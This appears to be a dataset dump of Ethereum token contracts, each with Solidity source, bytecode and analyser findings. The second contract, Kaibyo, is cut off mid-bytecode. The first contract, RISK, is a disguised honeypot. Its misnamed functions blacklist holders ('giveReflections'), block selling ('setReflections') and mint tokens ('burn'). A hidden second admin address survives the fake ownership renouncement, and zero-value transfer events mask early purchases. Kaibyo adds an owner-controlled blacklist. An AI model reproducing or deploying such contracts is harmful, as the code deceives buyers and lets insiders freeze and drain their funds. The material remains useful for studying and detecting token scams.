/* Risk - "A situation involving exposure to danger, harm or loss" https://medium.com/@alexillidan2002/risk-c30be404eb11 */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract RISK is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 1000000*10**18; string public _name = "RISK"; string public _symbol= "RISK"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xC17CA4db2cA65b4DcF4c854a07D538B8b25Ca590); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220dfabe9fe6feae1e758a4635d8491d713d143c01398ffa18442ac2d9206588e9b64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,559
0xd5e357a1d7e3e746849fc09497848dcde6347e88
/** /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Kaibyo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kaibyo"; string private constant _symbol = "Kaibyo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x23706c6FF79EB4C88216de27Dba13bFEA4C7F6eC); _feeAddrWallet2 = payable(0x1904151FB89a702cBc35ff44Ce9A636bC4521667); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152654b616962796f60d01b602082015290516101439190611792565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611632565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c03660046115f1565b61035c565b3480156101d157600080fd5b506101e56101e036600461157e565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461172a565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b5061019761025336600461157e565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b0366004611632565b610524565b3480156102c157600080fd5b506101e56102d036600461165e565b610531565b3480156102e157600080fd5b506101e56105c7565b3480156102f657600080fd5b506101e56105fd565b34801561030b57600080fd5b5061019761031a3660046115b8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109c6565b5060015b92915050565b6000610369848484610aea565b6103bb84336103b68560405180606001604052806028815260200161197e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c6565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef906117e7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef906117e7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035690610ef4565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610aea565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef906117e7565b60005b81518110156105c35760016006600084848151811061057f5761057f61192e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bb816118fd565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b60006105f23061048e565b905061048b81610f78565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016103ef906117e7565b600f54600160a01b900460ff16156106815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c130826b033b2e3c9fd0803ce80000006109c6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fa57600080fd5b505afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610732919061159b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c